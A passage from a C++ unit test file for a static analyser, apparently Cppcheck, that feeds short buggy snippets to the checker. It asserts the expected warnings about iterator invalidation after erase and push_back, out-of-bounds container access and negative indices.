((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n 